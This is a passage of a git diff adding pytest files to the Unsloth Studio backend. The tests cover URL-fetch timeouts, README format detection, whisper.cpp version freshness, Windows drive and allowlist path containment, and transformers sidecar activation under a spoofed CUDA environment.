+        lambda host, port: (True, "", "203.0.113.7"),
+    )
+    monkeypatch.setattr(urllib.request, "build_opener", lambda *handlers: _Opener())
+
+    err, body, content_type = tools_mod._fetch_url_raw(
+        "https://example.com/",
+        timeout = 30,
+        deadline = clock["t"] + 5.0,
+    )
+    assert err == "Failed to fetch URL: timed out."
+    assert body == ""
+
+
+def test_resolve_with_budget_aborts_on_slow_resolver(monkeypatch):
+    # getaddrinfo has no deadline of its own; a resolver slower than the budget must
+    # abort on time instead of blocking the whole fetch.
+    import threading
+
+    import core.inference.tools as tools_mod
+
+    clock = {"t": 1000.0}
+    monkeypatch.setattr(tools_mod.time, "monotonic", lambda: clock["t"])
+
+    release = threading.Event()
+
+    def slow_resolve(host, port):
+        release.wait(5.0)  # block until released; the budget should abort first
+        return True, "", "203.0.113.7"
+
+    monkeypatch.setattr(tools_mod, "_validate_and_resolve_host", slow_resolve)
+
+    def advance_past_deadline():
+        import time as _t
+        _t.sleep(0.1)
+        clock["t"] += 100.0
+
+    t = threading.Thread(target = advance_past_deadline, daemon = True)
+    t.start()
+    try:
+        ok, reason, ip = tools_mod._resolve_with_budget(
+            "example.com",
+            443,
+            1005.0,
+            None,
+        )
+    finally:
+        release.set()
+    assert ok is False
+    assert reason == "Failed to fetch URL: timed out."
+
+
+def test_web_search_query_cancelled_skips_search(monkeypatch):
+    # A pre-set cancel_event (client disconnected) skips the blocking DDGS query,
+    # matching the direct-URL path's cancellation.
+    import sys
+    import threading
+    import types
+
+    import core.inference.tools as tools_mod
+
+    ev = threading.Event()
+    ev.set()
+    called = {"n": 0}
+
+    class _DDGS:
+        def __init__(self, *a, **k):
+            called["n"] += 1
+
+        def text(self, *a, **k):
+            called["n"] += 1
+            return []
+
+    fake_mod = types.ModuleType("ddgs")
+    fake_mod.DDGS = _DDGS
+    monkeypatch.setitem(sys.modules, "ddgs", fake_mod)
+
+    out = tools_mod._web_search("some query", cancel_event = ev)
+    assert out == "Search cancelled."
+    assert called["n"] == 0
+
+
+def test_fetch_page_text_markdown_readme_with_leading_block_tag_stays_markdown(monkeypatch):
+    # A raw-Markdown README that OPENS with an HTML block tag (<blockquote>, <ul>,
+    # <pre>, ...) must not be run through html_to_markdown, which would collapse its
+    # headings/list/fence. Only a real HTML document (doctype / <html>) is converted.
+    md_readme = (
+        "<blockquote>Note: pre-release.</blockquote>\n\n"
+        "# My Project\n\n"
+        "Install:\n\n"
+        "- step one\n"
+        "- step two\n\n"
+        "```bash\npip install myproject\n```\n"
+    )
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        assert url == "https://api.github.com/repos/unslothai/unsloth/readme"
+        return None, md_readme, "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    assert "README of https://github.com/unslothai/unsloth" in out
+    # Markdown structure survives verbatim (heading, list, fenced code).
+    assert "# My Project" in out
+    assert "- step one" in out
+    assert "```bash" in out
+
+
+def test_looks_like_html_document_only_matches_real_documents():
+    from core.inference.tools import _looks_like_html_document
+
+    assert _looks_like_html_document("<!doctype html><html><body>x</body></html>")
+    assert _looks_like_html_document("\n  <HTML lang='en'>")
+    assert _looks_like_html_document("<body><h1>x</h1></body>")
+    # Block tags a Markdown README can open with are NOT full documents.
+    for frag in (
+        "<blockquote>q</blockquote>",
+        "<ul><li>x</li></ul>",
+        "<pre>x</pre>",
+        "<dl><dt>x</dt></dl>",
+    ):
+        assert not _looks_like_html_document(frag), frag
diff --git a/studio/backend/tests/test_whisper_cpp_freshness.py b/studio/backend/tests/test_whisper_cpp_freshness.py
new file mode 100644
index 0000000000..69f0c87cee
--- /dev/null
+++ b/studio/backend/tests/test_whisper_cpp_freshness.py
@@ -0,0 +1,156 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the whisper.cpp prebuilt freshness check.
+
+Pins the whisper-specific version policy: the release-tag parser, the
+is_behind decision matrix (with its downgrade guard), and one end-to-end
+wiring smoke through the shared freshness flow. The shared marker-walk and
+fail-open mechanics are covered by test_llama_cpp_freshness.py.
+"""
+
+from __future__ import annotations
+
+import json
+import sys
+import types as _types
+from datetime import datetime, timedelta, timezone
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+
+class _NoopLogger:
+    """structlog-style logger: every method swallows positional + kwargs."""
+
+    def __getattr__(self, _name):
+        return lambda *a, **k: None
+
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda *a, **k: _NoopLogger()
+sys.modules.setdefault("loggers", _loggers_stub)
+
+_structlog_stub = _types.ModuleType("structlog")
+_structlog_stub.get_logger = lambda *a, **k: _NoopLogger()
+sys.modules.setdefault("structlog", _structlog_stub)
+
+import pytest
+
+from utils import whisper_cpp_freshness as fr
+
+
+# Helpers.
+
+
+def _write_marker(install_dir: Path, **overrides) -> Path:
+    payload = {
+        "requested_tag": "latest",
+        "release_tag": "v1.9.1-unsloth.1",
+        "upstream_tag": "v1.9.1",
+        "published_repo": "unslothai/whisper.cpp",
+        "asset": "whisper-v1.9.1-unsloth.1-linux-x64-cpu.tar.gz",
+        "asset_sha256": None,
+        "source": "published",
+        "installed_at_utc": (datetime.now(tz = timezone.utc) - timedelta(days = 1))
+        .isoformat()
+        .replace("+00:00", "Z"),
+    }
+    payload.update(overrides)
+    install_dir.mkdir(parents = True, exist_ok = True)
+    marker = install_dir / "UNSLOTH_WHISPER_PREBUILT_INFO.json"
+    marker.write_text(json.dumps(payload))
+    return marker
+
+
+def _fake_binary(install_dir: Path) -> Path:
+    """Stub whisper-server under the canonical cmake install layout."""
+    bin_dir = install_dir / "build" / "bin"
+    bin_dir.mkdir(parents = True, exist_ok = True)
+    bin_path = bin_dir / "whisper-server"
+    bin_path.write_text("stub\n")
+    return bin_path
+
+
+@pytest.fixture(autouse = True)
+def _reset(monkeypatch, tmp_path):
+    # Isolate disk cache per-test; never touch the real cache.
+    monkeypatch.setattr(fr, "_cache_dir", lambda: tmp_path / ".freshness")
+    fr.reset_caches()
+    yield
+    fr.reset_caches()
+
+
+# parse_release_version.
+
+
+def test_parse_release_version():
+    assert fr.parse_release_version("v1.9.1-unsloth.2") == (1, 9, 1, 2)
+    assert fr.parse_release_version("1.10.0") == (1, 10, 0, 0)  # no v, no serial
+    assert fr.parse_release_version(" v2.0.0-unsloth.10 ") == (2, 0, 0, 10)
+    assert fr.parse_release_version("v1.9") == (1, 9, 0, 0)  # padded
+    assert fr.parse_release_version("nightly") is None
+    assert fr.parse_release_version(None) is None
+    assert fr.parse_release_version("") is None
+
+
+# is_behind decision matrix + downgrade guard.
+
+
+def test_is_behind_serial_bump():
+    assert fr.is_behind("v1.9.1-unsloth.1", "v1.9.1-unsloth.2") is True
+
+
+def test_is_behind_downgrade_guard():
+    # A lower serial or version is never "behind".
+    assert fr.is_behind("v1.9.1-unsloth.2", "v1.9.1-unsloth.1") is False
+    assert fr.is_behind("v1.10.0-unsloth.1", "v1.9.1-unsloth.9") is False
+
+
+def test_is_behind_upstream_bump():
+    assert fr.is_behind("v1.9.1-unsloth.1", "v1.10.0-unsloth.1") is True
+
+
+def test_is_behind_identical_is_false():
+    assert fr.is_behind("v1.9.1-unsloth.1", "v1.9.1-unsloth.1") is False
+
+
+def test_is_behind_unparseable_differs_is_behind():
+    assert fr.is_behind("v1.9.1-unsloth.1", "nightly") is True
+
+
+def test_is_behind_missing_side_fails_open():
+    assert fr.is_behind(None, "v1.9.1-unsloth.2") is False
+    assert fr.is_behind("v1.9.1-unsloth.1", None) is False
+
+
+# check_prebuilt_freshness end-to-end.
+
+
+def test_check_prebuilt_freshness_reports_stale_when_old_and_behind(monkeypatch, tmp_path):
+    _write_marker(
+        tmp_path,
+        release_tag = "v1.9.1-unsloth.1",
+        installed_at_utc = (datetime.now(tz = timezone.utc) - timedelta(days = 10))
+        .isoformat()
+        .replace("+00:00", "Z"),
+    )
+    bin_path = _fake_binary(tmp_path)
+    monkeypatch.setattr(fr, "latest_published_release", lambda *a, **k: "v1.9.1-unsloth.3")
+    info = fr.check_prebuilt_freshness(str(bin_path))
+    assert info["has_marker"] is True
+    assert info["behind"] is True
+    assert info["stale"] is True
+    assert info["installed_tag"] == "v1.9.1-unsloth.1"
+    assert info["latest_tag"] == "v1.9.1-unsloth.3"
+
+
+def test_marker_reader_prefers_install_root_over_packaging_marker(tmp_path):
+    root_marker = _write_marker(tmp_path, release_tag = "v1.9.1-unsloth.2")
+    binary = _fake_binary(tmp_path)
+    (binary.parent / root_marker.name).write_text(
+        json.dumps({"backend": "slim", "release_tag": "archive-metadata"})
+    )
+    assert fr.read_install_marker(str(binary))["release_tag"] == "v1.9.1-unsloth.2"
diff --git a/studio/backend/tests/test_windows_external_drive_paths.py b/studio/backend/tests/test_windows_external_drive_paths.py
new file mode 100644
index 0000000000..5687612916
--- /dev/null
+++ b/studio/backend/tests/test_windows_external_drive_paths.py
@@ -0,0 +1,370 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import ast
+import os
+import sys
+from pathlib import Path
+from types import SimpleNamespace
+from typing import Optional
+
+from utils.paths import external_media
+
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+class _HTTPException(Exception):
+    def __init__(self, status_code: int, detail: str):
+        super().__init__(detail)
+        self.status_code = status_code
+        self.detail = detail
+
+
+def _extract_routes_function(name: str, ns_extra: Optional[dict] = None) -> dict:
+    """Exec one top-level function from routes/models.py without importing the module (which pulls in FastAPI)."""
+    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    fn = next(node for node in tree.body if isinstance(node, ast.FunctionDef) and node.name == name)
+    module = ast.Module(body = [fn], type_ignores = [])
+    ast.fix_missing_locations(module)
+    ns = {"os": os, "Path": Path, "Optional": Optional}
+    if ns_extra:
+        ns.update(ns_extra)
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+    return ns
+
+
+def _stub_windows(monkeypatch, existing_drives):
+    """Simulate Windows exposing only *existing_drives* (e.g. {"C", "D"}) as readable roots, independent of the host FS.
+
+    Overriding _active_windows_drive_bitmask keeps it deterministic even on a
+    real Windows host, where live GetLogicalDrives would return the actual layout."""
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Windows")
+    mask = sum(1 << (ord(d.upper()) - ord("A")) for d in existing_drives)
+    monkeypatch.setattr(external_media, "_active_windows_drive_bitmask", lambda: mask)
+    present = {f"{d.upper()}:\\" for d in existing_drives}
+    monkeypatch.setattr(external_media.os.path, "isdir", lambda p: str(p) in present)
+    monkeypatch.setattr(external_media.os, "access", lambda p, _mode: str(p) in present)
+
+
+def test_windows_drive_roots_empty_off_windows(monkeypatch):
+    # Regression guard: the helper is a no-op on Linux/macOS so it can't change the allowlist on the platforms CI runs on.
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    assert external_media.windows_drive_roots() == []
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Darwin")
+    assert external_media.windows_drive_roots() == []
+
+
+def test_macos_volume_roots_lists_readable_mounts(monkeypatch, tmp_path):
+    volumes = tmp_path / "Volumes"
+    external = volumes / "External SSD"
+    unreadable = volumes / "Unavailable"
+    external.mkdir(parents = True)
+    unreadable.mkdir()
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Darwin")
+    monkeypatch.setattr(external_media.os, "access", lambda path, _mode: Path(path) == external)
+
+    assert external_media.macos_volume_roots(volumes) == [external]
+
+
+def test_windows_drive_roots_lists_readable_drives(monkeypatch):
+    _stub_windows(monkeypatch, {"C", "D", "E"})
+
+    roots = external_media.windows_drive_roots(drive_letters = "CDEF")
+
+    # F is absent, so it is skipped; the rest are exposed in order.
+    assert roots == [Path("C:\\"), Path("D:\\"), Path("E:\\")]
+
+
+def test_windows_drive_roots_skips_absent_and_unreadable(monkeypatch):
+    _stub_windows(monkeypatch, {"C"})
+
+    roots = external_media.windows_drive_roots(drive_letters = "CDE")
+
+    assert roots == [Path("C:\\")]
+
+
+def test_windows_drive_roots_ignores_bad_letters_and_dedupes(monkeypatch):
+    _stub_windows(monkeypatch, {"C", "D"})
+
+    roots = external_media.windows_drive_roots(
+        drive_letters = ["c:", "C", "D", "1", "AB", "", "  d  "],
+    )
+
+    assert roots == [Path("C:\\"), Path("D:\\")]
+
+
+def test_readable_dir_within_times_out(monkeypatch):
+    # A probe that outlives the timeout is reported not-readable, so a hung
+    # (disconnected mapped network) drive is skipped instead of blocking.
+    import time
+
+    monkeypatch.setattr(external_media.os.path, "isdir", lambda p: time.sleep(5) or True)
+    monkeypatch.setattr(external_media.os, "access", lambda p, _mode: True)
+    start = time.monotonic()
+    ok = external_media._readable_dir_within("Z:\\", timeout = 0.2)
+    elapsed = time.monotonic() - start
+    assert ok is False
+    assert elapsed < 3.0  # returned on the timeout, did not wait out the 5s stall
+
+
+def test_readable_dir_within_reports_fast_probe(monkeypatch):
+    monkeypatch.setattr(external_media.os.path, "isdir", lambda p: True)
+    monkeypatch.setattr(external_media.os, "access", lambda p, _mode: True)
+    assert external_media._readable_dir_within("C:\\", timeout = 2.0) is True
+
+
+def test_windows_drive_roots_skips_hung_drive(monkeypatch):
+    # A disconnected mapped drive stays set in the bitmask and its os.path.isdir
+    # stalls; it must be skipped without stalling enumeration. C answers, D hangs,
+    # so only C is listed, bounded by the per-drive timeout, not the stall.
+    import time
+
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Windows")
+    monkeypatch.setattr(
+        external_media,
+        "_active_windows_drive_bitmask",
+        lambda: sum(1 << (ord(d) - ord("A")) for d in "CD"),
+    )
+    monkeypatch.setattr(external_media, "_DRIVE_PROBE_TIMEOUT_S", 0.2)
+
+    def _isdir(p):
+        if str(p) == "D:\\":
+            time.sleep(5)  # simulate the reconnect stall
+            return True
+        return str(p) == "C:\\"
+
+    monkeypatch.setattr(external_media.os.path, "isdir", _isdir)
+    monkeypatch.setattr(external_media.os, "access", lambda p, _mode: True)
+
+    start = time.monotonic()
+    roots = external_media.windows_drive_roots(drive_letters = "CD")
+    elapsed = time.monotonic() - start
+
+    assert roots == [Path("C:\\")]
+    assert elapsed < 3.0  # bounded by the per-drive timeout, not the 5s stall
+
+
+def test_windows_drive_roots_probes_hung_drives_in_parallel(monkeypatch):
+    # Several disconnected mapped drives must add ~one timeout total, not one
+    # per drive: C answers fast, D/E/F stall. The concurrent probe stays bounded
+    # by a single deadline where serial probing would cost ~4x the timeout.
+    import time
+
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Windows")
+    monkeypatch.setattr(
+        external_media,
+        "_active_windows_drive_bitmask",
+        lambda: sum(1 << (ord(d) - ord("A")) for d in "CDEF"),
+    )
+    timeout = 0.2
+    monkeypatch.setattr(external_media, "_DRIVE_PROBE_TIMEOUT_S", timeout)
+
+    def _isdir(p):
+        if str(p) == "C:\\":
+            return True
+        time.sleep(5)  # every other drive simulates a reconnect stall
+        return True
+
+    monkeypatch.setattr(external_media.os.path, "isdir", _isdir)
+    monkeypatch.setattr(external_media.os, "access", lambda p, _mode: True)
+
+    start = time.monotonic()
+    roots = external_media.windows_drive_roots(drive_letters = "CDEF")
+    elapsed = time.monotonic() - start
+
+    assert roots == [Path("C:\\")]
+    # 3 stalled drives probed in parallel finish within ~1 timeout, well under the ~3*timeout a serial probe would take.
+    assert elapsed < 3 * timeout
+
+
+def test_browse_allowlist_includes_windows_drive_roots(monkeypatch, tmp_path):
+    # End-to-end wiring: windows_drive_roots() output flows into the browse
+    # allowlist built by routes/models.py, mirroring the Linux media-mounts test.
+    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    function_names = {
+        "_build_browse_allowlist",
+        "_browse_relative_parts",
+        "_is_path_inside_allowlist",
+        "_match_browse_child",
+        "_normalize_browse_request_path",
+        "_resolve_browse_target",
+    }
+    functions = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name in function_names
+    ]
+    module = ast.Module(body = functions, type_ignores = [])
+    ast.fix_missing_locations(module)
+
+    home = tmp_path / "home"
+    drive_root = tmp_path / "D_drive"
+    model_dir = drive_root / "modelsAI" / "gguf"
+    home.mkdir()
+    model_dir.mkdir(parents = True)
+
+    fake_paths = SimpleNamespace(
+        hf_default_cache_dir = lambda: tmp_path / "missing-default-hf",
+        legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf",
+        well_known_model_dirs = lambda: [],
+        studio_root = lambda: tmp_path / "missing-studio",
+        outputs_root = lambda: tmp_path / "missing-outputs",
+        exports_root = lambda: tmp_path / "missing-exports",
+    )
+    fake_external_media = SimpleNamespace(
+        linux_run_media_mount_roots = lambda: [],
+        macos_volume_roots = lambda: [],
+        windows_drive_roots = lambda: [drive_root],
+    )
+    fake_paths.external_media = fake_external_media
+    fake_studio_db = SimpleNamespace(
+        list_scan_folders = lambda: [],
+        contains_sensitive_path_component = lambda _p: False,
+        # The simulated D:\ root maps to a tmp_path dir, not a denied system path.
+        is_denied_system_path = lambda _p: False,
+    )
+    monkeypatch.setitem(sys.modules, "utils.paths", fake_paths)
+    monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db)
+
+    ns = {
+        "HTTPException": _HTTPException,
+        "os": os,
+        "Path": Path,
+        "Optional": Optional,
+        "_safe_is_dir": lambda p: Path(p).is_dir(),
+        "_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf",
+        "logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None),
+    }
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+
+    allowlist = ns["_build_browse_allowlist"]()
+
+    # The simulated Windows drive root is now browsable, and a model dir on it resolves.
+    assert drive_root.resolve() in allowlist
+    assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve()
+
+
+def test_build_browse_allowlist_reuses_passed_roots(monkeypatch, tmp_path):
+    # Double-probe fix: a browse request probes the drive/media roots once and
+    # passes them in, so _build_browse_allowlist must NOT scan
+    # windows_drive_roots() again (a disconnected drive would double the stall).
+    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    functions = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name == "_build_browse_allowlist"
+    ]
+    module = ast.Module(body = functions, type_ignores = [])
+    ast.fix_missing_locations(module)
+
+    drive_root = tmp_path / "D_drive"
+    drive_root.mkdir()
+
+    calls = {"drive": 0, "media": 0}
+
+    def _drive_roots():
+        calls["drive"] += 1
+        return [drive_root]
+
+    def _media_roots():
+        calls["media"] += 1
+        return []
+
+    fake_paths = SimpleNamespace(
+        hf_default_cache_dir = lambda: tmp_path / "missing-default-hf",
+        legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf",
+        well_known_model_dirs = lambda: [],
+        studio_root = lambda: tmp_path / "missing-studio",
+        outputs_root = lambda: tmp_path / "missing-outputs",
+        exports_root = lambda: tmp_path / "missing-exports",
+    )
+    fake_external_media = SimpleNamespace(
+        linux_run_media_mount_roots = _media_roots,
+        macos_volume_roots = lambda: [],
+        windows_drive_roots = _drive_roots,
+    )
+    fake_paths.external_media = fake_external_media
+    fake_studio_db = SimpleNamespace(list_scan_folders = lambda: [])
+    monkeypatch.setitem(sys.modules, "utils.paths", fake_paths)
+    monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db)
+
+    ns = {
+        "os": os,
+        "Path": Path,
+        "Optional": Optional,
+        "_safe_is_dir": lambda p: Path(p).is_dir(),
+        "_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf",
+        "logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None),
+    }
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+    build = ns["_build_browse_allowlist"]
+
+    # Roots passed in -> neither helper is probed, but the roots still flow in.
+    allowlist = build([], [drive_root])
+    assert calls == {"drive": 0, "media": 0}
+    assert drive_root.resolve() in allowlist
+
+    # No args -> each helper is probed exactly once.
+    build()
+    assert calls == {"drive": 1, "media": 1}
+
+
+def test_is_path_inside_allowlist_real_descendants_and_siblings(tmp_path):
+    # Component-wise containment (commonpath): a genuine descendant is allowed,
+    # but a sibling sharing only a string prefix ("models_root_evil" vs
+    # "models_root") is not, which the old startswith check could miss.
+    ns = _extract_routes_function("_is_path_inside_allowlist")
+    root = tmp_path / "models_root"
+    child = root / "gguf" / "qwen"
+    sibling = tmp_path / "models_root_evil"
+    child.mkdir(parents = True)
+    sibling.mkdir()
+
+    is_inside = ns["_is_path_inside_allowlist"]
+    assert is_inside(root, [root]) is True  # the root itself
+    assert is_inside(child, [root]) is True  # a genuine descendant
+    assert is_inside(sibling, [root]) is False  # prefix-collision sibling
+
+
+def test_is_path_inside_allowlist_posix_root_does_not_authorize_descendants(monkeypatch):
+    # Regression for the reported POSIX "/" unlock: a bare filesystem root may
+    # match itself but must NOT authorize arbitrary descendants such as /etc.
+    ns = _extract_routes_function("_is_path_inside_allowlist")
+    monkeypatch.setattr(os.path, "realpath", lambda p: str(p))  # keep "/" intact
+
+    is_inside = ns["_is_path_inside_allowlist"]
+    assert is_inside("/", ["/"]) is True  # the root itself
+    assert is_inside("/etc", ["/"]) is False  # not a licensed descendant
+    assert is_inside("/root/models", ["/"]) is False
+
+
+def test_is_path_inside_allowlist_windows_drive_root_descendants():
+    # Exercise the Windows drive-root branch on a POSIX host by backing os.path
+    # with ntpath and an identity realpath (the simulated drives don't exist
+    # here). A drive root authorizes its descendants; a different drive does not.
+    import ntpath
+
+    win_os = SimpleNamespace(
+        sep = "\\",
+        path = SimpleNamespace(
+            normcase = ntpath.normcase,
+            realpath = lambda p: str(p),
+            splitdrive = ntpath.splitdrive,
+            dirname = ntpath.dirname,
+            commonpath = ntpath.commonpath,
+        ),
+    )
+    ns = _extract_routes_function("_is_path_inside_allowlist", {"os": win_os})
+    is_inside = ns["_is_path_inside_allowlist"]
+
+    assert is_inside("D:\\", ["D:\\"]) is True  # drive root itself
+    assert is_inside("D:\\models", ["D:\\"]) is True  # descendant on the drive
+    assert is_inside("D:\\models\\gguf", ["D:\\"]) is True  # deeper descendant
+    assert is_inside("d:\\models", ["D:\\"]) is True  # case-insensitive drive letter
+    assert is_inside("C:\\Users", ["D:\\"]) is False  # different drive
+    assert is_inside("D:\\models", ["E:\\"]) is False
diff --git a/studio/backend/tests/test_worker_activates_correct_transformers.py b/studio/backend/tests/test_worker_activates_correct_transformers.py
new file mode 100644
index 0000000000..fe7b8dd25a
--- /dev/null
+++ b/studio/backend/tests/test_worker_activates_correct_transformers.py
@@ -0,0 +1,155 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Invariant: after the training worker runs its preflight and then activates the transformers
+sidecar, the in-process ``transformers`` must be the sidecar version the model requires -- not the
+default 4.57.x that the base environment ships.
+
+The CPU-only "does it choose the correct transformers version" guard, stronger than the pure
+import-order check in ``test_training_worker_import_discipline.py``: it runs the REAL tier detection
+(``get_transformers_tier``) and REAL activation (``activate_transformers_for_subprocess``) for a
+transformers-5.x model (Qwen3.5, tier 530) and asserts the version actually switched. It catches the
+whole failure family at once:
+
+  * a stale pre-activation ``transformers`` import (the #6951 / ``TokenizersBackend`` regression: an
+    already-cached 4.57.x defeats the sidecar's ``sys.path`` prepend),
+  * a wrong tier selected for a 5.x model, and
+  * activation not actually swapping the resident module.
+
+Why the CUDA spoof matters (verified): ``unsloth_zoo``'s eager ``import transformers`` only happens on
+its full, GPU-present init path. On a GPU-less runner it silently degrades and never preloads
+transformers -- which would MASK the stale-import bug (the check would falsely pass). Spoofing
+``torch.cuda`` so ``unsloth_zoo`` believes a GPU is present forces the real init path, exposing the
+regression on CPU CI. The spoof mirrors ``tests/_zoo_aggressive_cuda_spoof.py`` but is inlined so the
+test is self-contained in the ``studio-backend-ci`` matrix (whose conftest does not apply the shared
+spoof). No GPU/network/weights/real sidecar needed: a one-line stub sidecar stands in for the 5.x venv,
+so we only assert activation lands on it.
+
+Proven: passes on the fixed tree (active == 5.3.0) and fails on the buggy tree (active == 4.57.x) on
+a simulated GPU-less runner.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = Path(__file__).resolve().parent.parent  # studio/backend
+# Canonical CUDA spoof at the repo root (studio/backend -> studio -> repo root). Loaded by the
+# subprocess when present (matches the consolidated CI); absent in a standalone studio checkout, where
+# the subprocess falls back to a minimal inline spoof.
+_SPOOF_PATH = _BACKEND_DIR.parent.parent / "tests" / "_zoo_aggressive_cuda_spoof.py"
+
+# Runs in a fresh interpreter with cwd == studio/backend so ``utils.*`` resolves like the worker.
+# STUB_HOME (a pytest tmp dir) holds a throwaway ``.venv_t5_530`` sidecar exporting transformers 5.3.0.
+_SNIPPET = r"""
+import os, sys
+sys.path.insert(0, os.getcwd())
+
+# CUDA spoof so unsloth_zoo takes its full, transformers-importing init path on a GPU-less runner.
+# Without it unsloth_zoo degrades and never preloads transformers, which would MASK the stale-import
+# regression under test (verified). Prefer the repo's canonical spoof (single source of truth, and the
+# one the consolidated CI already relies on); fall back to a minimal inline spoof so this also works in
+# a standalone studio checkout. If torch is absent the fixed tree still passes below; the bug just
+# would not be exposable in that shard.
+try:
+    import torch  # noqa: F401
+    _sp = os.environ.get("SPOOF_PATH")
+    if _sp and os.path.exists(_sp):
+        import importlib.util
+        _spec = importlib.util.spec_from_file_location("_zoo_aggressive_cuda_spoof", _sp)
+        _mod = importlib.util.module_from_spec(_spec)
+        _spec.loader.exec_module(_mod)
+        _mod.apply()
+    else:
+        torch.cuda.is_available = lambda: True
+        torch.cuda.device_count = lambda: 1
+        torch.cuda.current_device = lambda: 0
+        torch.cuda.get_device_capability = lambda *a, **k: (8, 0)
+        torch.cuda.get_device_name = lambda *a, **k: "NVIDIA A100-SPOOFED"
+        torch.cuda.is_bf16_supported = lambda *a, **k: True
+        class _Props:
+            name = "NVIDIA A100-SPOOFED"
+            major = 8
+            minor = 0
+            total_memory = 80 * 1024**3
+            multi_processor_count = 108
+        torch.cuda.get_device_properties = lambda *a, **k: _Props()
+        torch.cuda.mem_get_info = lambda *a, **k: (0, 80 * 1024**3)
+except Exception:
+    pass
+os.environ["UNSLOTH_IS_PRESENT"] = "1"
+
+# Stub 5.x sidecar: activation only edits sys.path, so a package that merely exports __version__ is
+# enough to prove the resident transformers switched to it.
+home = os.environ["STUB_HOME"]
+pkg = os.path.join(home, ".venv_t5_530", "transformers")
+os.makedirs(pkg, exist_ok = True)
+with open(os.path.join(pkg, "__init__.py"), "w") as f:
+    f.write('__version__ = "5.3.0"\n')
+os.environ["UNSLOTH_STUDIO_HOME"] = home
+
+# Faithful worker preflight (worker.py: from utils.hf_xet_fallback import child_should_disable_xet).
+# This is the exact stale-import trigger: on the buggy tree it pulls unsloth_zoo -> transformers 4.57.x
+# into sys.modules BEFORE activation.
+from utils.hf_xet_fallback import child_should_disable_xet
+child_should_disable_xet({})
+_tf = sys.modules.get("transformers")
+preload = _tf.__version__ if _tf is not None else None
+
+# Real tier detection + real activation, with the 530 sidecar pointed at the stub above.
+import utils.transformers_version as tv
+tv._VENV_T5_530_DIR = os.path.join(home, ".venv_t5_530")
+tv._ensure_venv_t5_530_exists = lambda: True
+tier = tv.get_transformers_tier("Qwen/Qwen3.5-9B", None)
+tv.activate_transformers_for_subprocess("Qwen/Qwen3.5-9B", None)
+
+import transformers
+print(f"RESULT tier={tier} preload={preload} active={transformers.__version__}")
+"""
+
+
+def _parse(stdout: str) -> dict[str, str]:
+    for line in stdout.splitlines():
+        if line.startswith("RESULT "):
+            return dict(kv.split("=", 1) for kv in line.split()[1:])
+    return {}
+
+
+def test_worker_activates_correct_transformers_version(tmp_path):
+    """The worker's real preflight + activation for a transformers-5.x model (Qwen3.5, tier 530) must
+    leave the in-process ``transformers`` on the 5.x sidecar. A stale pre-activation import leaves the
+    default 4.57.x pinned and fails this assertion -- exactly the #6951 ``TokenizersBackend`` regression."""
+    result = subprocess.run(
+        [sys.executable, "-c", _SNIPPET],
+        cwd = str(_BACKEND_DIR),
+        env = {
+            **__import__("os").environ,
+            "STUB_HOME": str(tmp_path),
+            **({"SPOOF_PATH": str(_SPOOF_PATH)} if _SPOOF_PATH.exists() else {}),
+        },
+        capture_output = True,
+        text = True,
+    )
+    assert result.returncode == 0, (
+        "Worker preflight + activation harness crashed.\n"
+        f"STDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
+    )
+    parsed = _parse(result.stdout)
+    assert parsed, f"No RESULT line.\nSTDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
+
+    # Correct tier chosen for a transformers-5.x model (pure, deterministic; no network/GPU).
+    assert parsed["tier"] == "530", (
+        f"Wrong transformers tier for Qwen3.5 (expected 530, got {parsed['tier']}). "
+        "Tier detection regressed."
+    )
+
+    # Activation must actually swap the resident transformers to the sidecar version. If a preflight
+    # import cached 4.57.x first, the sidecar prepend is a no-op and this stays 4.57.x -- the bug.
+    assert parsed["active"] == "5.3.0", (
